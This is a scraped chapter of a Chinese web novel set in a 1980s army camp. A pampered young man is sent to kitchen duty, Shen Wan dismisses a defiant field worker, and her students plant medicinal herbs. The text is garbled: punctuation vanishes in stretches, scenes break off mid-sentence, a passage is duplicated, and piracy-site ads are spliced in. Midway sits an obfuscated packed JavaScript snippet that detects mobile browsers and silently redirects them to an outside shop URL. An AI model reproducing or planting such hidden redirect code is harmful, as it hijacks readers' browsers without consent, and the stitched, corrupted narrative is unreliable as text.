第四百三十七章 被扔进来改造呗

作品:《八零随军大东北,霍团长爬炕轻哄娇娇

    老李见他还敢把衣服丢了眼神一厉二话不说上前一步直接用胳膊肘把杨景然抵在墙上另一只手抄起地上那套灰扑扑的工服动作粗鲁地在他脸上、脖子上蹭了几下留下几道灰印子。


    “脏?在炊事班不穿这个你就光着!”


    杨景然被压制得动弹不得脸被粗糙的布料摩擦得生疼他拼命想要挣扎却发现这个看起来年纪不小的老兵力气大得惊人手臂如同铁箍让他根本使不上劲。


    他心里又惊又怒:这个老李的力气怎么感觉比霍沉舟那个煞神还要大?!


    最终在绝对的武力压制下杨景然只得**地妥协捡起那套工服磨磨蹭蹭地套在了自己那身昂贵行头外面。


    衣服明显偏大穿在他身上松松垮垮还散发着挥之不去的油烟味让他浑身难受。


    老李看着他这副不伦不类、垂头丧气的样子依旧不满意抱着胳膊命令道:“下午上工前去营区理发室把你那堆乱七八糟的头发给我剃了!剃成板寸!男子汉大丈夫留这么长的头发算什么样子?娘们唧唧的看着就碍眼!”


    杨景然瞪大眼睛下意识护住自己精心打理过的头发:“不行!我这头发是……”


    “嗯?”老李鼻腔里发出一声威胁的冷哼活动了一下手腕骨节发出“咔吧”的轻响眼神警告地盯着他。


    杨景然看着他那蒲扇般的大手和结实的手臂肌肉嘴角抽搐了一下剩下的话全咽回了肚子里憋屈地应了一声:“……知道了。”


    然后老李就拎小鸡似的把杨景然带到了热气腾腾、满是油烟的厨房重地。


    之后


    到了晚饭时间筋疲力尽、一身狼狈的杨景然眼巴巴地看着别人打饭老李却面无表情地递给他两个冷硬的窝窝头:“活没干好浪费东西还想吃热饭?这就是炊事班的规矩!什么时候把活干利索了什么时候吃热乎的!”


    杨景然捧着冰冷的窝窝头欲哭无泪感觉自己落入了人间地狱。


    沈晚本来还不知道杨景然来部队了毕竟霍沉舟也没和她说。


    这天她来食堂打点菜,排到窗口时,随意地抬眼看向里面打饭的师傅,觉得有点眼熟,但一开始竟没敢认。


    只见那人穿着明显不太合身、沾着油渍的旧军装,帽子也歪戴着,脸色憔悴,眼下一片乌青,皮肤似乎也粗糙了不少,整个人透着一股被生活毒打过后的萎靡,和她印象中那个总是油头粉面的杨景然判若两人。


    沈晚走近几步,仔细看了看,才终于确定,这个正在有气无力地挥舞着大勺给人打菜的师傅,竟然真的是杨景然!她眼中不由闪过一抹惊讶。


    此时,杨景然也看见了沈晚,他先是一愣,随即脸上瞬间爆红,一种无地自容的羞耻感席卷了他。


    他不像之前那样立刻凑上来纠缠沈晚,反而猛地低下头,下意识地侧过身,不想让沈晚看见他狼狈的模样。


    此时沈晚心中满是疑惑和难以置信:杨景然?他怎么会出现在部队食堂的炊事班?还变成了这副模样?难不成几天不见,杨家破产了,大少爷被送来打工还债?


    她端着饭盒,往窗口那里又走了两步,试探着叫了一声:“杨景然?你怎么在这?”


    杨景然听到她的声音,身体僵了一下,好半天才闷闷地回了一句:“……还能为什么?被扔进来改造呗。”


    沈晚瞬间明白了:“你爸妈把你丢这的?”


    这杨家人,对自己儿子还真是够狠心啊。


    再看此时的杨景然,何止是狼狈,简直憔悴得不成人样了。


    眼窝深陷,嘴唇干裂起皮,脸上还沾着不知道是油污还是煤灰的黑印,握着大勺的手指关节红肿,一看就是干了不少粗活重活,哪里还有半分往日养尊处优的公子哥儿模样。


    虽然沈晚知道自己不应该幸灾乐祸,但是看着杨景然现在这副灰头土脸、萎靡不振的样子,再对比他之前趾高气昂的做派,她心中还是觉得有点好笑的。


    “在炊事班的日子不好过吧?”


    杨景然自嘲一笑:“是霍沉舟让你来看我笑话的吗?”


    沈晚有些莫名:“霍沉舟知道你来部队了?”


    她是真不知道,看来杨景然被丢进炊事班,霍沉舟早就知道了,但是没告诉她。


    杨景然扯了扯嘴角,没回答,默认了这个事实。


    沈晚见他这样,也


    不再多说,只是客观地劝了一句:“既然是你父母决定送你进来锻炼的,那你就好好适应吧。这里虽然辛苦,但也不是坏事。


    就在这时,一个如同炸雷般的声音突然从杨景然身后响起:“你又磨蹭什么呢,没看见后面还有人等着吗?


    是老李!


    杨景然现在已经被老李整出条件反射了,听到老李的声音立马动起来,开始招呼后面的人打饭。


    老李吼完,才看见站在一旁的沈晚,那张黑脸立马像变戏法似的,扬起一个憨厚的笑容:“哟,原来是沈同志啊!


    沈晚冲他礼貌地微微一笑:“我就是路过,不打扰你们工作了,我先走了。


    看着沈晚离开的背影,杨景然握着铁勺的手微微收紧,心里翻腾着难以言喻的滋味。


    沈晚拿着饭盒没有直接回家,而是拐到了药田那里。


    最近天气回暖,土壤解冻,正是给越冬后的药田深翻松土、准备春播的好时候。


    这项工作需要耐心和细致,翻土的深度、均匀度都直接影响药材的生长。


    沈晚不放心,便过来监工,怕工人们为了赶进度,只是敷衍地浅翻一遍。


    到了药田,只见几十号人分散在田间,挥舞着铁锹和锄头,空气中弥漫着新翻泥土的湿润气息。


    有认识她的工人看见她,直起腰笑着打招呼:“沈同志,来视察工作啊?


    沈晚也笑着点头回应:“嗯,过来看看,大家辛苦了。


    她走到一片刚翻过的地头,蹲下身,伸出白皙的手指,捻起一小撮泥土,放在指腹间细细揉搓,又轻轻捏了捏,泥土的湿度尚可,但感觉土块还是偏硬,不够蓬松细腻,翻耕的深度似乎也差了点意思。


    她眉头微蹙,起身叫来负责这片区域的一位中年女工:“大姐,麻烦您过来一下。


    那位女工放下锄头走过来,沈晚指着脚下的土,态度温和:“大姐,这片地的土好像翻得还不太够,土块有点大,深度也浅了点。咱们种药材不比种庄稼,需要更精细些,土要翻得深一点、软一点,才利于药材的根须舒展和吸收养分。您看,是不是能让大家再仔细翻一遍?


    沈晚的态度很好,完全是商量的口吻。


    没想到,那位女工听了,脸上立刻露出


    不耐烦的神色她双手叉腰嗓门不小:“沈医生咱们乡下人种了一辈子地都是这么翻的!翻两遍就够了哪有那么多讲究?我看你啊细皮嫩肉的也不像是干过活的样子就别在这儿指手画脚了!我们照你的说法来得干到啥时候去?累**算谁的?”


    这话说得相当不客气带着明显的不服气和轻视


    沈晚拧了拧眉脸上的笑容淡了下去:“大姐话不是这么说。种药材和种粮食要求确实不一样。这不是我瞎讲究是药材的生长特性决定的。如果土壤条件不达标药材长不好药效达不到咱们这药田不就白费功夫了吗?大家辛苦一场总得见到成效您说是不是?”


    那大姐撇了撇嘴不以为然地说道:“啥特性不特性的不都是往土里一种浇水施肥就能长吗?我看你就是城里人不知道乡下种地的辛苦净会提些不切实际的要求!我们按老法子种不也活得好好的?”


    旁边一个面相憨厚的女工看不下去了小声劝道:“王姐少说两句吧咱们这么多人再多翻一遍地也费不了多少功夫咱们是给部队干活的仔细点总没错。”


    王大姐见有人帮沈晚说话心中不服气但在众人注视下还是勉强嘟囔着妥协了:“行吧行吧!翻就翻!真是的……”


    她一边不情不愿地重新拿起锄头一边小声地抱怨道:“……事真多。”


    沈晚听到这声抱怨脸色彻底沉了下来。


    她可以接受工作上的不同意见和讨论但不能容忍自以为是、消极怠工的行为。


    “王大姐既然你觉得事多嫌麻烦那这活您就别干了。”


    “麻烦您现在去会计那里结算今天的工钱以后也不用来了。”


    沈晚原本念着这些工人都是附近的农民干活不易所以工钱开得比市场价高工期也安排得并不紧张平时还经常自掏腰包给大家送水送饭尽量提供好的条件。


    没想到自己的体恤和尊重换来的却是当面顶撞既然如此她也没必要留这样不知感恩的人在药田里。


    王大姐听到这话直接愣住了。


    其他工人听到一向好脾气的沈晚这次竟然如此绝情地要赶人也都愣住了


    面面相觑停下了手里的活计。


    王大姐回过神来脸上挂不住觉得在众人面前丢了面子顿时恼羞成怒地反驳道:“你凭什么赶我走?我们是部队的人找来干活的!你一个丫头片子有什么资格说让我走就走?”


    沈晚冷冰冰地说道:“部队把这片药田交给我全权负责从规划、种植到采收都由我说了算。我有没有资格决定用工去留你大可以去找部队的领导核实。但是现在我说你不用来了你就得立马走。”


    王大姐被她这带刺的态度噎得说不出话脸上一阵红一阵白知道自己这次是踢到了铁板。


    沈晚不再看她转向其他工人朗声说道:“本来我体谅着大家干活辛苦不容易所以工钱给得高时间也给得宽裕茶水点心也从没短过大家的。但这并不是让大家可以敷衍了事、甚至当面顶撞的理由。种药材不同于种庄稼标准就是标准一步都不能马虎。”


    她顿了顿语气缓和了些“现在请大家把东边这一片的土按照我刚才说的深度和细碎度重新再翻一遍。辛苦大家了。”


    说完她不再和王大姐掰扯转身离开了药田。


    沈晚走后药田里安静了片刻。


    一个和王大姐同村的老乡凑过来小声劝道:“王姐我看沈同志这回是真生气了她说话做事向来有谱不像是吓唬人。这活一天给的钱比别处多不老少呢还管吃喝。要不你去跟她低个头认个错说不定还能留下。真要走了多亏啊!”


    王大姐看着沈晚远去的背影又看了看周围重新开始埋头翻地的工友们心里其实已经开始后悔了但嘴上还不肯服软硬邦邦地回了一句:“不去!我就不信了离了她这儿我还找不到活干了?走就走!”


    老乡见王大姐死鸭子嘴硬无奈地叹了口气摇了摇头自己也拿起工具干活去了懒得再管她。


    王大姐越想越不服气越想越觉得自己委屈她琢磨着自己好歹是部队出面招来的人沈晚一个没本事的丫头片子凭什么说赶人就赶人?


    不行她得去找部队管事的评评理!


    她还真就一鼓作气


    她添油加醋地把事情一说末了还愤愤


    不平道:“同志我可是你们部队招来的她沈晚凭什么说不要就不要了?这也太欺负人了吧!你们部队得给我做主啊!”


    那位干事听她说完眼神很怪异地看了她一眼他清了清嗓子“这位同志


    王大姐听完这番话如同被一盆冰水从头浇到脚整个人都愣在原地了。


    她脸上红一阵白一阵张了张嘴却一个字也说不出来。她这才后知后觉地意识到自己踢到了一块多么硬的铁板刚才那点不服气瞬间碎得干干净净只剩下满心的懊悔和难堪。


    干事公事公办地继续说道:“既然沈同志不让你继续干了那我就给你结算一下今天半天的工资然后你就离开吧以后也不用来了。”


    说着他拿出记账本和钱匣子翻开找到王大姐的名字数出几张**票和几枚硬币不多不少正好是半天的工钱递


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869529|181405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了过去:“给这是你今天上午的工钱拿好。”


    王大姐机械地伸手接过钱手指微微颤抖。


    她看着手中那点钱心中五味杂陈巨大的悔意像潮水般涌了上来。这个年头到哪去找像药田这里这么好的活儿?工钱给得高时间不紧主家还好说话时常有额外的好处。


    多少人挤破头想进来都进不来!


    可现在仅仅因为自己一时的嘴快和不服管就把这份多少人羡慕的活儿给弄丢了!以后再想找恐怕就没那么容易了而且今天这事传出去别人还怎么看她?


    王大姐最后只能灰溜溜地拿着钱走了。


    等药田的土壤按照沈晚的要求被仔细地深翻、整平、起垄达到了适宜药材生长的松软透气状态后沈晚便组织中医药培训班的学员们带着小锄头、竹篮和笔记本来到了这片已经初具规模的药田。


    这些参加中医药培训班的学员大多数家境都还不错像刘静怡那样从小在农村长


    大、熟悉土地的人很少。


    他们只在书本和课堂上学习过中药的理论知识,很多人连真正的药田都没见过,更别提下地干活了。


    所以刚到这片药田时,他们一个个都挺新奇,东看看西瞧瞧,脸上带着兴奋和好奇。


    沈晚拍了拍手,清脆的声音将大家的注意力集中过来:“好了,各位同学,看也看过了,咱们今天可不是来郊游参观的。大家按我们之前在课堂上分的组,两人一组,拿好工具,按照我发给你们的种植图和说明,开始分区栽种药材苗。记住要领,深浅要适中,间距要均匀,覆土要轻拍实,定根水要浇透。有任何不确定的,随时问我。”


    小说</a>的域名caixs?(请来才


    小说


    看最新章节


    完整章节)


    十来个人一听,立刻响应,挽起袖子,拿起分发的小锄头、竹篮和标记牌,兴致勃勃地开始行动。


    一开始,大家还觉得挺有意思,互相说笑着。


    可是,种地远没有看起来那么轻松,干了不到一个小时,新奇感就被腰酸背痛和手臂的酸软取代了。


    初春的太阳并不毒辣,但弯腰久了,也晒得人额头冒汗,有人手上磨出了红印子,变得腰酸背痛起来,原本说说笑笑的声音渐渐小了,取而代之的是此起彼伏的轻微喘息和捶腰声。


    有学员累得实在有些撑不住,直起身想提议休息一会儿,结果抬头一看,却见沈晚也挽着裤腿和袖子,在另一垄地上继续栽种着,额头同样渗出细密的汗珠,可她没有丝毫停下来的意思。


    看到老师都还在身体力行地埋头苦干,学员们到了嘴边的话又咽了回去,不好意思开口了。


    大家互相看了看,只好咬咬牙,继续弯下腰干活。


    沈晚从小就是跟着家里的长辈在药田里摸爬滚打长大的,辨认土壤、侍弄药材,对她来说很轻松,这种程度的劳动,她早就习惯了。


    反倒是那些平日里大多坐在教室里的学员们,干了一上午的活,已经累得腰酸背痛,几乎直不起腰了。


    有学员实在忍不住,一边揉着酸痛的后腰,一边苦着脸和沈晚抱怨:“沈老师,这翻地种药也太累了吧?”


    沈晚直起身,用胳膊擦了擦额头的汗:“累就对了,药材不是凭空长在书本上的,它需要合适的土壤、精心的照料。只有让你们亲自体验从土地到药材的完整过程,亲手感受每一种药材的


    生长习性和来之不易你们将来开方用药时心里才会更有谱更懂得珍惜和斟酌分量。这对你们学习中医的悟性和敬畏心都是有好处的。”


    那学员听着沈晚的话心中的那点抱怨和不理解顿时消散了不少。


    是啊如果连药材是怎么来的都不知道又怎么能真正理解它们的药性呢?他认真地点点头:“沈老师我们知道了。是挺累但也挺有意义的。”


    沈晚欣慰地点点头拍了拍手上的泥土朗声道:“行了今天上午的实践课就先到这里吧!大家辛苦了!我知道大家都很累剩下的药材我们分几天轮流来种完不会让大家一口气都干完的。回去之后除了好好休息每人把今天栽种的药材名称、种植要点、以及自己的观察和感受整理成一篇笔记下次上课交上来。”


    学员们如蒙大赦齐声应道:“好!”


    沈晚看着面前这十几个累得龇牙咧嘴的年轻人嘴角不由自主地抽动了一下


    把这些学员送走之后沈晚活动了一下酸痛的腰身这才回家。


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    生长习性和来之不易,你们将来开方用药时,心里才会更有谱,更懂得珍惜和斟酌分量。这对你们学习中医的悟性和敬畏心,都是有好处的。


    那学员听着沈晚的话,心中的那点抱怨和不理解顿时消散了不少。


    是啊,如果连药材是怎么来的都不知道,又怎么能真正理解它们的药性呢?他认真地点点头:“沈老师,我们知道了。是挺累,但也挺有意义的。


    沈晚欣慰地点点头,拍了拍手上的泥土,朗声道:“行了,今天上午的实践课就先到这里吧!大家辛苦了!我知道大家都很累,剩下的药材,我们分几天轮流来种完,不会让大家一口气都干完的。回去之后,除了好好休息,每人把今天栽种的药材名称、种植要点、以及自己的观察和感受,整理成一篇笔记,下次上课交上来。


    学员们如蒙大赦,齐声应道:“好!


    沈晚看着面前这十几个累得龇牙咧嘴的年轻人,嘴角不由自主地抽动了一下,心里突然冒出一个念头:怎么感觉自己倒像是个带着一帮学生来体验生活、进行春游劳动的班主任?


    把这些学员送走之后,沈晚活动了一下酸痛的腰身,这才回家。


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的